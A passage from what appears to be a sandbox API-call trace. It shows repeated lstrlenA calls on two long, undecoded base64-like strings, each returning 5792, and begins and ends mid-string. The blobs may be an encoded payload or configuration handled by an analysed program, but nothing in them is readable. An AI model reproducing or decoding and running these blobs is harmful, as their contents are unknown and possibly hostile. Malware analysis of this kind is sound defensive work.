YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.359] lstrlenA (lpString="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") returned 5792 [0128.359] lstrlenA (lpString="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") returned 5792 [0128.359] lstrlenA (lpString="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